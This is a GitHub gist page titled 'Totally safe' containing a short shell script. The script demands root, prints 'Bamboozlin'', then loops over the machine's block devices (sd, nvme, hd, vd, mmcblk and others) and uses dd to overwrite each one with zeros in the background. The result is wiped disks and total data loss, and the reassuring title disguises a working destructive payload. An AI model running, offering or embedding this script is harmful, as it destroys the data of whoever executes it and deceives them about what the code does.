Skip to content

Instantly share code, notes, and snippets.

@Emzi0767
Last active July 13, 2020 20:10
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Emzi0767/e376ca28b8ab5905f5580e6998785c3d to your computer and use it in GitHub Desktop.
Save Emzi0767/e376ca28b8ab5905f5580e6998785c3d to your computer and use it in GitHub Desktop.
Totally safe
#!/bin/sh
if [ "$(id -u)" != "0" ]
then
echo "This needs to be ran as root"
exit
fi
echo "Bamboozlin'"
for i in $(ls -1 /dev | egrep "^sd|^nmve|^hd|^vd|^ad|^d[a-z]|^mmcblk")
do
dd if=/dev/zero of=/dev/$i bs=16M conv=sync,notrunc&
done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment